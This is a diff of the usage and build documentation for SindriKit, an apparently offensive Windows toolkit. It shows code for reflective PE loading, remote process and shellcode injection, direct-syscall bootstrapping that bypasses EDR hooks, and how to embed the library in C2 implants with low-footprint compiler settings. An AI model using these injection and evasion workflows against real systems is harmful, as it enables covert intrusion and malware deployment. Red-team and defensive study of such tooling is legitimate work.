|
For CRT-less production builds: `SND_CRTLESS=ON` and `SND_ENABLE_DEBUG=OFF` — see [building.md](building.md).
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [building.md](building.md)
|
|
||||||
A guide on configuring CMake, selecting build tiers, and managing CRT-independence for OpSec.
|
- [building.md](building.md) — CMake integration, cache variables, compiler OpSec, DEBUG vs SILENT tiers
|
||||||
- [basic_usage.md](basic_usage.md)
|
- [basic_usage.md](basic_usage.md) — include hierarchy, DI tables, syscall bootstrap, loader/injection workflows
|
||||||
Walkthrough of initializing a reflective loader context, bootstrapping OS APIs, and executing payloads.
|
|
||||||
|
## Reading order
|
||||||
|
|
||||||
|
1. [building.md](building.md) — compile `sindri::engine` and PoCs
|
||||||
|
2. [basic_usage.md](basic_usage.md) — `mem_api` / `mod_api` / `proc_api` and bootstrap
|
||||||
|
3. [Examples](../examples/README.md) — PoC walkthroughs
|
||||||
|
4. [Architecture](../architecture/README.md) — design patterns in depth
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Documentation root](../README.md)
|
||||||
|
- [Examples OpSec profiles](../examples/README.md)
|
||||||
|
|||||||
@@ -1,106 +1,216 @@
|
|||||||
# Basic Usage: The Core Engine
|
# Basic Usage: The Core Engine
|
||||||
|
|
||||||
SindriKit is fundamentally an extensible evasion and execution toolkit. While it currently ships with a powerful reflective loader, the loader is merely the first domain implemented on top of the toolkit's core primitives.
|
SindriKit is an extensible evasion and execution toolkit. Reflective loading and classic remote injection are **domains built on top of** shared primitives — memory, modules, process, mapping, syscalls, and execution bridges (FFI, Heaven's Gate).
|
||||||
|
|
||||||
To use SindriKit effectively, the operator must understand how it separates offensive **Intent** (what is being accomplished) from the **Execution Mechanics** (how the OS actually executes it).
|
To use the framework effectively, separate **Intent** (what you want to accomplish) from **Execution mechanics** (how the OS is contacted).
|
||||||
|
|
||||||
## 1. Core Philosophy: The Execution Abstraction Layer
|
---
|
||||||
|
|
||||||
SindriKit forces developers to explicitly define how operations interact with the host operating system. This is achieved via a toolkit-wide Dependency Injection (DI) pattern utilizing function pointer structures such as `snd_memory_api_t` (`mem_api`) and `snd_module_api_t` (`mod_api`).
|
## 1. Include hierarchy
|
||||||
|
|
||||||
Whether reflectively loading a PE, patching ETW, or injecting into a remote process, the high-level algorithm remains entirely agnostic to the execution mechanics. The engine never calls `VirtualAlloc` or `NtAllocateVirtualMemory` directly; it calls `ctx->mem_api->alloc`.
|
| Include | Pulls in |
|
||||||
|
|---|---|
|
||||||
|
| `sindri.h` | Everything: common, parsers, primitives, loaders, injection |
|
||||||
|
| `sindri/primitives.h` | Memory, modules, process, mapping, syscalls, FFI, Heaven's Gate |
|
||||||
|
| `sindri/common.h` | Buffer, hash, status, debug, disk, string, memory helpers |
|
||||||
|
| `sindri/loaders.h` | Reflective PE loader context and chains |
|
||||||
|
| `sindri/injection.h` | Shared injection context and classic chains |
|
||||||
|
|
||||||
This design means that swapping the entire operational footprint from highly visible, EDR-monitored Win32 APIs to stealthy, direct kernel syscalls is as simple as swapping a struct pointer during context initialization.
|
PoCs typically include `sindri.h` plus any headers needed for explicit bootstrap (e.g. `sindri/primitives/syscalls.h`).
|
||||||
|
|
||||||
## 2. Global State vs. Explicit Execution Primitives
|
---
|
||||||
|
|
||||||
|
## 2. Core philosophy: dependency injection
|
||||||
|
|
||||||
|
High-level domains never call `VirtualAlloc` or `NtAllocateVirtualMemory` directly. They call through injected API tables:
|
||||||
|
|
||||||
|
| Table | Examples | Used by |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_memory_api_t` (`mem_api`) | `snd_mem_win`, `snd_mem_nt`, `snd_mem_sys` | Loaders, local mapping |
|
||||||
|
| `snd_module_api_t` (`mod_api`) | `snd_mod_win`, `snd_mod_nt` | Loaders, import resolution |
|
||||||
|
| `snd_process_api_t` (`proc_api`) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` | Injection |
|
||||||
|
| `snd_mapping_api_t` | `snd_map_win`, `snd_map_nt`, `snd_map_sys` | KnownDlls bootstrap |
|
||||||
|
|
||||||
|
Swapping `ctx.mem_api = &snd_mem_win` to `&snd_mem_sys` changes the entire operational footprint without touching loader logic.
|
||||||
|
|
||||||
|
See [Dependency injection](../architecture/dependency_injection.md) for the full pattern.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Explicit bootstrap (no implicit globals)
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> Before initiating any high-level toolkit domain (like a loader or injector context), the underlying execution primitives must be explicitly bootstrapped. SindriKit does not rely on implicit global state fallbacks. The engine must be deliberately armed.
|
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table.
|
||||||
|
|
||||||
For example, when utilizing native execution primitives (`snd_mem_native` or `snd_mod_native`), the underlying NTDLL base must be resolved and the global syscall resolution pipeline must be configured:
|
### Minimum syscall bootstrap
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID ntdll = NULL;
|
PVOID ntdll = NULL;
|
||||||
|
|
||||||
// 1. Explicitly locate and map NTDLL (e.g., via KnownDlls)
|
// Option A: KnownDlls (preferred for inject_pe / production syscall paths)
|
||||||
snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &ntdll);
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
if (status.code != SND_SUCCESS) {
|
|
||||||
return status.os_error;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. Feed the base address into the global execution primitive state
|
// Option B: disk load (loader_nowinapi default)
|
||||||
snd_set_ntdll(ntdll);
|
// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
|
||||||
|
// ntdll = ntdll_buf.data;
|
||||||
|
|
||||||
// 3. Configure the Cascading Syscall Pipeline
|
// Option C: PEB walk (no disk I/O)
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
|
||||||
snd_add_syscall_strategy(snd_tartarus_extract_syscall);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_add_syscall_strategy(snd_veles_extract_syscall);
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
```
|
```
|
||||||
|
|
||||||
By enforcing this explicit bootstrapping phase, operators retain absolute control over how the toolkit derives system service numbers (SSNs) and communicates with the kernel before any offensive operation begins.
|
| Step | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| Obtain `ntdll` base | SSN scan/sort read export stubs from this image |
|
||||||
|
| `snd_syscall_set_ntdll` | Registers the base for all resolvers |
|
||||||
|
| `snd_syscall_strategy_set` | Primary resolver (scan) |
|
||||||
|
| `snd_syscall_strategy_add` | Fallback resolver (sort) |
|
||||||
|
|
||||||
## 3. Case Studies: Standard vs. Stealth Profiles
|
Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes.
|
||||||
|
|
||||||
The PoCs provided in `pocs/` demonstrate how these execution primitives are applied to the `snd_loader_ctx_t` domain to achieve vastly different OpSec profiles.
|
Details: [Syscalls pipeline](../domains/primitives/syscalls/pipeline.md).
|
||||||
|
|
||||||
### Profile A: Standard / Diagnostic (`loader_winapi`)
|
---
|
||||||
This profile uses the standard, documented Win32 implementations (`snd_mem_win`, `snd_mod_win`).
|
|
||||||
|
## 4. Loader workflow
|
||||||
|
|
||||||
|
Reflective loading uses a per-technique context `snd_ldr_pe_ctx_t`:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_loader_ctx_t ctx = {0};
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
ctx.mem_api = &snd_mem_win; // Backed by VirtualAlloc/VirtualProtect
|
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
|
||||||
ctx.mod_api = &snd_mod_win; // Backed by GetModuleHandle/GetProcAddress
|
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
|
||||||
|
ctx.raw_source = &file_buf; // snd_buffer_t from snd_disk_buffer_load
|
||||||
|
|
||||||
snd_status_t status = snd_prepare_reflective_image(&ctx);
|
status = snd_ldr_pe_prepare_image(&ctx); // map, relocate, imports, protections
|
||||||
if (status.code != SND_SUCCESS) {
|
if (SND_FAILED(status)) { /* handle */ }
|
||||||
// Inspect status.code and status.os_error for failure reasons
|
|
||||||
return status.os_error;
|
|
||||||
}
|
|
||||||
|
|
||||||
status = snd_execute_reflective_image(&ctx);
|
status = snd_ldr_pe_execute_image(&ctx); // TLS + DllMain / EXE entry (chain.c)
|
||||||
if (status.code != SND_SUCCESS) {
|
if (SND_FAILED(status)) { /* handle */ }
|
||||||
return status.os_error;
|
|
||||||
}
|
// Optional: call a named export with arbitrary args
|
||||||
|
FARPROC fn = NULL;
|
||||||
|
snd_ldr_pe_get_proc_address(&ctx, "MyExport", &fn);
|
||||||
|
UINT_PTR args[] = { (UINT_PTR)0x1337 };
|
||||||
|
UINT_PTR ret = snd_ffi_execute((PVOID)(UINT_PTR)fn, 1, args);
|
||||||
|
|
||||||
|
snd_ldr_pe_detach_image(&ctx); // after EXECUTED: DllMain/TLS detach + free (local only)
|
||||||
|
snd_ldr_pe_free_mapped_image(&ctx); // free if detach was skipped or already partially cleaned
|
||||||
|
snd_buffer_free(&file_buf);
|
||||||
```
|
```
|
||||||
**OpSec Impact:** This profile provides maximum stability and straightforward debugging, but acts as an absolute flare to AV/EDR. Every memory operation directly triggers userland inline hooks inside `ntdll.dll`. It is intended strictly for diagnostic scenarios.
|
|
||||||
|
|
||||||
### Profile B: Stealth / Decoupled (`loader_nowinapi`)
|
**Execution bridge:** `snd_ffi_execute` (`include/sindri/primitives/ffi.h`) is the public API for calling resolved exports with unknown signatures. See [FFI](../domains/primitives/execution/ffi.md).
|
||||||
This profile entirely drops the Win32 API layer in favor of direct, dynamic kernel interaction.
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Injection workflow
|
||||||
|
|
||||||
|
Injection uses a **shared** context `snd_inj_ctx_t` across classic techniques (unlike loaders, where each technique owns its own loader context):
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_loader_ctx_t ctx = {0};
|
snd_ldr_pe_ctx_t ldr_ctx = {0}; // local bake
|
||||||
ctx.mem_api = &snd_mem_native; // Backed by Direct Syscalls
|
snd_inj_ctx_t inj_ctx = {0}; // remote target
|
||||||
ctx.mod_api = &snd_mod_native; // Backed by Manual PEB Walking
|
|
||||||
|
|
||||||
// ... (Requires the global syscall bootstrapping shown in Section 2)
|
ldr_ctx.mem_api = &snd_mem_sys;
|
||||||
|
ldr_ctx.mod_api = &snd_mod_nt;
|
||||||
|
ldr_ctx.raw_source = &file_buf;
|
||||||
|
|
||||||
snd_status_t status = snd_prepare_reflective_image(&ctx);
|
inj_ctx.target_pid = target_pid;
|
||||||
if (status.code != SND_SUCCESS) {
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
return status.os_error;
|
|
||||||
}
|
|
||||||
|
|
||||||
status = snd_execute_reflective_image(&ctx);
|
status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx); // PE map + remote execute
|
||||||
if (status.code != SND_SUCCESS) {
|
// or: snd_inj_classic_shell(&inj_ctx) with inj_ctx.payload set
|
||||||
return status.os_error;
|
|
||||||
}
|
snd_inj_cleanup(&inj_ctx);
|
||||||
```
|
```
|
||||||
**OpSec Impact:** By injecting the `native` primitives, the loader utilizes the cascading syscall strategy to invoke `NtAllocateVirtualMemory` and `NtProtectVirtualMemory` directly. Crucially, the toolkit relies entirely on the `ntdll` base explicitly bootstrapped (e.g., via KnownDlls or custom mapping) rather than trusting the host's PEB state. This bypasses userland telemetry and API string artifacts, forming the baseline requirement for modern offensive operations.
|
|
||||||
|
|
||||||
## 4. Architectural Extensibility
|
Shellcode-only injection skips the loader context:
|
||||||
|
|
||||||
Because the Dependency Injection and explicit primitive bootstrapping are generalized across the entire framework, SindriKit natively scales to future domains.
|
|
||||||
|
|
||||||
In the future, when initializing a `snd_injector_ctx_t` (for remote process injection) or a `snd_spoof_ctx_t` (for call stack spoofing), the operator follows the exact same paradigm:
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// Future Extensibility Example:
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
snd_injector_ctx_t inj_ctx = {0};
|
inj_ctx.proc_api = &snd_proc_win;
|
||||||
inj_ctx.mem_api = &snd_mem_native;
|
inj_ctx.target_pid = pid;
|
||||||
inj_ctx.target_pid = 1337;
|
inj_ctx.payload = &shellcode_buf;
|
||||||
|
|
||||||
// Uses the previously configured Hell's Gate / Halo's Gate cascading pipeline
|
status = snd_inj_classic_shell(&inj_ctx);
|
||||||
snd_execute_injection(&inj_ctx);
|
snd_inj_cleanup(&inj_ctx);
|
||||||
```
|
```
|
||||||
|
|
||||||
By decoupling "Intent" from "Execution Mechanics", SindriKit ensures that stealth primitives are configured only once. Every subsequent module, toolkit domain, and offensive capability inherently inherits the chosen OpSec profile.
|
---
|
||||||
|
|
||||||
|
## 6. OpSec profiles (PoC mapping)
|
||||||
|
|
||||||
|
| Profile | PoC | Memory | Modules | Process | Syscall bootstrap |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional |
|
||||||
|
| NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
|
||||||
|
| Direct syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
|
||||||
|
| CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal |
|
||||||
|
| Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
|
||||||
|
| WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A |
|
||||||
|
|
||||||
|
Full walkthroughs: [Examples](../examples/README.md).
|
||||||
|
|
||||||
|
### Profile A — Win32 (`loader_winapi`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_win;
|
||||||
|
ctx.mod_api = &snd_mod_win;
|
||||||
|
// prepare → execute → optional snd_ffi_execute for -e export
|
||||||
|
```
|
||||||
|
|
||||||
|
Maximum stability; every memory operation hits hooked userland stubs.
|
||||||
|
|
||||||
|
### Profile B — NT API (`loader_nowinapi`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Bootstrap (Section 3), then:
|
||||||
|
ctx.mem_api = &snd_mem_nt;
|
||||||
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
```
|
||||||
|
|
||||||
|
Avoids `VirtualAlloc` / `LoadLibrary` telemetry; calls still pass through in-process `ntdll` where hooks may fire.
|
||||||
|
|
||||||
|
### Profile C — Direct syscalls (`inject_pe`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
ldr_ctx.mem_api = &snd_mem_sys;
|
||||||
|
ldr_ctx.mod_api = &snd_mod_nt;
|
||||||
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
|
snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
Bypasses userland hooks for local syscall memory ops and remote process manipulation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Status handling
|
||||||
|
|
||||||
|
All domain functions return `snd_status_t`. Use `SND_SUCCEEDED` / `SND_FAILED` macros:
|
||||||
|
|
||||||
|
```c
|
||||||
|
if (SND_FAILED(status)) {
|
||||||
|
snd_status_print(status); // meaningful when SND_ENABLE_DEBUG=ON
|
||||||
|
return status.code;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
See [Status system](../architecture/status_system.md) and [Common status API](../common/api_reference.md#status-sindricommonstatush).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Next steps
|
||||||
|
|
||||||
|
- [Building SindriKit](building.md) — CMake options, CRT-less tiers, first PoC build
|
||||||
|
- [Loaders domain](../domains/loaders/README.md)
|
||||||
|
- [Injection domain](../domains/injection/README.md)
|
||||||
|
- [Execution primitives](../domains/primitives/execution/README.md)
|
||||||
|
|||||||
@@ -1,90 +1,146 @@
|
|||||||
# Building SindriKit
|
# Building SindriKit
|
||||||
|
|
||||||
SindriKit is built using modern CMake (`>= 3.16`). It supports building either as a standalone executable (for the PoCs) or seamlessly integrating as a static library target (`sindri::engine`) into existing C2 implants and malware staging toolchains.
|
SindriKit builds with CMake `>= 3.16` on **Windows only** (`_WIN32` / `_WIN64`). The static library target is `sindri_engine` (alias `sindri::engine`).
|
||||||
|
|
||||||
The framework is strictly tailored for Windows targets (`_WIN32` or `_WIN64`), aggressively enforcing compiler warnings to prevent unintended implicit type conversions or padding behaviors that often lead to subtle footprint anomalies in memory.
|
## First build (PoCs)
|
||||||
|
|
||||||
## 1. CMake Integration
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
To embed SindriKit into a custom loader or implant workflow, rewriting the build system is unnecessary. SindriKit exposes `snd_engine` (aliased as `sindri::engine`), which handles all pre-build Python-based API hashing algorithms and architecture-dependent ASM compilation internally.
|
Outputs (MSVC multi-config):
|
||||||
|
|
||||||
Drop the SindriKit repository into the project directory (e.g., `vendor/SindriKit`) and integrate it via `add_subdirectory()`:
|
| PoC | Path |
|
||||||
|
|---|---|
|
||||||
|
| `loader_winapi` | `build/pocs/loader_winapi/Release/` |
|
||||||
|
| `loader_nowinapi` | `build/pocs/loader_nowinapi/Release/` |
|
||||||
|
| `inject_pe` | `build/pocs/inject_pe/Release/` |
|
||||||
|
| `inject_shell` | `build/pocs/inject_shell/Release/` |
|
||||||
|
| `heavens_gate` | `build/pocs/heavens_gate/Release/` (requires **x86** / `-A Win32`) |
|
||||||
|
|
||||||
|
CRT-less single PoC:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_CRTLESS=ON -DSND_ENABLE_DEBUG=OFF -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
# → build/pocs/loader_noCRT_nowinapi/Release/
|
||||||
|
```
|
||||||
|
|
||||||
|
See [Examples](../examples/README.md) for usage.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## CMake integration (implant embed)
|
||||||
|
|
||||||
```cmake
|
```cmake
|
||||||
# In your parent project's CMakeLists.txt
|
|
||||||
cmake_minimum_required(VERSION 3.16)
|
cmake_minimum_required(VERSION 3.16)
|
||||||
project(AdvancedImplant C CXX ASM_MASM)
|
project(Implant C CXX ASM_MASM)
|
||||||
|
|
||||||
# 1. Configure SindriKit Build Options (Optional but Recommended)
|
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
|
||||||
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "Disable standalone PoCs")
|
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
|
||||||
set(SND_ENABLE_DEBUG OFF CACHE BOOL "Disable verbose tracking for production builds")
|
set(SND_CRTLESS ON CACHE BOOL "") # optional
|
||||||
set(SND_HASH_ALGO "DJB2" CACHE STRING "Hashing algorithm for API resolution (DJB2, FNV1A)")
|
|
||||||
|
|
||||||
# 2. Add SindriKit subdirectory
|
|
||||||
add_subdirectory(vendor/SindriKit)
|
add_subdirectory(vendor/SindriKit)
|
||||||
|
|
||||||
# 3. Link your implant against the SindriKit engine
|
|
||||||
add_executable(implant src/main.c)
|
add_executable(implant src/main.c)
|
||||||
target_link_libraries(implant PRIVATE sindri::engine)
|
target_link_libraries(implant PRIVATE sindri::engine)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Build Configuration Variables
|
Include `sindri.h` or granular headers (`sindri/primitives.h`, etc.). Hash constants come from `#include <sindri_hashes.h>` (generated in the **build tree**, not the source tree).
|
||||||
|
|
||||||
SindriKit is controlled by several CMake cache variables. The build system is designed to forcefully guard against breaking configurations (e.g., combining CRT-less requirements with standard library diagnostics).
|
---
|
||||||
|
|
||||||
| Variable | Default | Description | Constraints & Side Effects |
|
## Cache variables
|
||||||
|
|
||||||
|
| Variable | Default | Description | Notes |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| `SND_ENABLE_DEBUG` | `OFF` | Enables verbose tracking, state machine prints, and line-level error contexts. | If `ON`, injects `<stdio.h>` and `printf`/`OutputDebugStringA` into `snd_status_t`. |
|
| `SND_ENABLE_DEBUG` | `OFF` | Verbose status context, `SND_DEBUG_PRINT`, stage traces | Pulls in `<stdio.h>` when ON |
|
||||||
| `SND_USE_PRINTF` | `OFF` | Reroutes debug output from `OutputDebugStringA` to `printf`. | Only effective if `SND_ENABLE_DEBUG=ON`. Requires CRT. |
|
| `SND_USE_PRINTF` | `OFF` | Route debug to `stdout` instead of `OutputDebugStringA` | Requires `SND_ENABLE_DEBUG=ON` and CRT |
|
||||||
| `SND_CRTLESS` | `OFF` | Builds the engine without standard library dependencies, injecting compiler-intrinsic fallbacks (`memcpy`, `memset`). | **Forcefully disables** `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` if enabled to prevent CRT linking. If `SND_BUILD_TESTS` is `ON`, `SND_CRTLESS` is forcefully disabled. |
|
| `SND_CRTLESS` | `OFF` | CRT manifest fallbacks; `/NODEFAULTLIB`-friendly | Force-disables DEBUG/PRINTF; only builds `loader_noCRT_nowinapi` PoC |
|
||||||
| `SND_HASH_ALGO` | `DJB2` | The algorithm used for compile-time API resolution hashing. | Valid options: `DJB2`, `FNV1A`. |
|
| `SND_HASH_ALGO` | `DJB2` | Compile-time hash algorithm (`DJB2`, `FNV1A`) | Regenerates `sindri_hashes.h` at configure |
|
||||||
| `SND_RANDOMIZE_SEED` | `OFF` | Randomizes the 32-bit compile-time global hash seed to thwart static analysis rainbow tables. | If `OFF`, uses a deterministic seed (`0x5381`) to prevent constant recompilation of dependent `.c` files during development. |
|
| `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds |
|
||||||
| `SND_BUILD_PAYLOADS` | `OFF` | Compiles the bundled `loader_winapi` and `loader_nowinapi` executables. | Used primarily for PoC verification. |
|
| `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` |
|
||||||
| `SND_BUILD_TESTS` | `OFF` | Compiles the internal test suite and PE mutator binaries. | **Requires CRT**. Forcefully sets `SND_CRTLESS=OFF`. |
|
| `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` |
|
||||||
|
|
||||||
|
### Guards (CMake)
|
||||||
|
|
||||||
### Pre-Build Code Generation (Algorithm Agility)
|
- `SND_BUILD_TESTS=ON` → `SND_CRTLESS` forced OFF
|
||||||
By default, the framework runs `scripts/generate_hashes.py` at configure time against `config/hashes.ini` to pre-compute compile-time string hashes. The manifest groups API names under `[module::<dll_name>]` sections. The build system automatically generates a hash for both the module and every API listed beneath it. Swapping the hashing algorithm (e.g., from `DJB2` to `FNV1A`) across the entire codebase is a single `SND_HASH_ALGO` CMake variable. This guarantees zero source changes during hash rotation. Furthermore, by passing `SND_RANDOMIZE_SEED=ON`, a totally fresh 32-bit mathematical seed is embedded alongside the hashes, ensuring static footprints continuously rotate.
|
- `SND_CRTLESS=ON` → `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF
|
||||||
|
- Non-Windows configure → fatal error
|
||||||
|
|
||||||
## 2. Compiler Configuration and OpSec
|
Use a **clean build directory** when switching between CRT-less and test builds.
|
||||||
|
|
||||||
SindriKit aggressively forces strict compilation. If an operation causes compiler ambiguity, it is treated as a fatal error.
|
---
|
||||||
|
|
||||||
### MSVC Optimization and Footprint
|
## Pre-build hash generation
|
||||||
When building with Microsoft Visual C++ (MSVC), SindriKit enforces `/W4` and `/WX` (warnings as errors). For production builds, this should be coupled with optimization flags to minimize the binary footprint and strip debug artifacts:
|
|
||||||
|
At configure time, CMake runs:
|
||||||
|
|
||||||
|
```text
|
||||||
|
python scripts/generate_hashes.py config/hashes.ini <build>/generated/sindri_hashes.h <ALGO> <RANDOMIZE>
|
||||||
|
```
|
||||||
|
|
||||||
|
Output: `${CMAKE_BINARY_DIR}/generated/sindri_hashes.h`, on the include path via `target_include_directories`. See [generate_hashes.md](../scripts/generate_hashes.md) and [hashes manifest](../config/hashes_manifest.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Compiler configuration (MSVC)
|
||||||
|
|
||||||
|
SindriKit enforces `/W4` `/WX` on the engine. Recommended release flags for implants:
|
||||||
|
|
||||||
```cmake
|
```cmake
|
||||||
# Recommended MSVC Release Flags for your implant
|
|
||||||
if(MSVC)
|
if(MSVC)
|
||||||
target_compile_options(implant PRIVATE
|
target_compile_options(implant PRIVATE
|
||||||
/O1 # Optimize for size
|
/O1
|
||||||
/GS- # Disable buffer security checks (reduces imports/CRT dependency)
|
/GS-
|
||||||
/GR- # Disable RTTI
|
/GR-
|
||||||
/Zc:threadSafeInit- # Disable magic statics (CRT dependency)
|
/Zc:threadSafeInit-
|
||||||
)
|
)
|
||||||
|
|
||||||
# Strip PDB paths and enforce dynamic base
|
|
||||||
target_link_options(implant PRIVATE
|
target_link_options(implant PRIVATE
|
||||||
/PDBALTPATH:%_PDB% # Strips local PDB path from PE headers
|
/PDBALTPATH:%_PDB%
|
||||||
/DYNAMICBASE # Enforce ASLR
|
/DYNAMICBASE
|
||||||
/NXCOMPAT # Enforce DEP
|
/NXCOMPAT
|
||||||
/ENTRY:main # Avoid CRT entrypoint if using pure C (Optional)
|
|
||||||
)
|
)
|
||||||
endif()
|
endif()
|
||||||
```
|
```
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **CRT Independence & Telemetry Leakage**
|
> **CRT independence & telemetry**
|
||||||
> If the CRT is stripped (`/ENTRY:main` or `/NODEFAULTLIB`), the implant must avoid standard C library functions (`malloc`, `printf`, `strcmp`). SindriKit natively supports CRT independence. This is achieved by implementing compiler-intrinsic fallbacks (like `memcpy` and `memset`) within `src/common/crt_manifest.c` and exposing safe string/memory utilities in `include/sindri/common/helpers.h`.
|
> CRT-less builds (`/NODEFAULTLIB`, `/ENTRY:main`) must not use `malloc`, `printf`, or `strcmp`. SindriKit supplies `snd_memcpy` / `snd_memzero` via `memory.h` and `src/common/crt_manifest.c`.
|
||||||
>
|
>
|
||||||
> However, there is a critical consequence: if `SND_ENABLE_DEBUG` or `SND_USE_PRINTF` are enabled, the `snd_status_t` layer will automatically pull in `<stdio.h>` and `printf` to output verbose error contexts. This breaks CRT-less compilation and silently re-introduces telemetry surfaces. Always compile using the `SILENT` tier (`SND_ENABLE_DEBUG=OFF`) for production to guarantee absolute CRT independence.
|
> Enabling `SND_ENABLE_DEBUG` or `SND_USE_PRINTF` pulls `<stdio.h>` into status/debug paths and breaks CRT-less linking. Production implants: **`SND_ENABLE_DEBUG=OFF`**.
|
||||||
|
|
||||||
## 3. Build Tiers
|
---
|
||||||
|
|
||||||
SindriKit supports two build tiers controlled by the `SND_ENABLE_DEBUG` flag:
|
## Build tiers
|
||||||
|
|
||||||
- **DEBUG Tier (`SND_ENABLE_DEBUG=ON`)**: Emits the `SND_DEBUG=1` definition. Used during local development. Outputs state machine transitions, parsed PE field values, and syscall resolution failures to `stdout`/`stderr`.
|
| Tier | Setting | Effect |
|
||||||
- **SILENT Tier (`SND_ENABLE_DEBUG=OFF`)**: Emits `SND_DEBUG=0`. Strips all string literals associated with error logging and context tracking out of the `.rdata` section, ensuring zero console output and a significantly reduced artifact footprint on disk.
|
|---|---|---|
|
||||||
|
| **DEBUG** | `SND_ENABLE_DEBUG=ON` | `SND_DEBUG=1` — file/line/context in `snd_status_t`, debug prints, stage strings |
|
||||||
|
| **SILENT** | `SND_ENABLE_DEBUG=OFF` | `SND_DEBUG=0` — integer-only status, stripped `.rdata` diagnostics |
|
||||||
|
|
||||||
> [!CAUTION]
|
SILENT is required for production artifacts.
|
||||||
> The `SILENT` tier (`SND_ENABLE_DEBUG=OFF`) is the **only** acceptable configuration for compiling production artifacts destined for target environments.
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration tests layout
|
||||||
|
|
||||||
|
The Python test runner (`tests/loader/test_runner.py`) expects **dual-arch** MSVC output trees:
|
||||||
|
|
||||||
|
| Path | Contents |
|
||||||
|
|---|---|
|
||||||
|
| `build64/pocs/` | x64 PoC binaries |
|
||||||
|
| `build32/pocs/` | x86 PoC binaries |
|
||||||
|
| `build64/tests/loader/` | x64 test payloads |
|
||||||
|
| `build32/tests/loader/` | x86 test payloads |
|
||||||
|
|
||||||
|
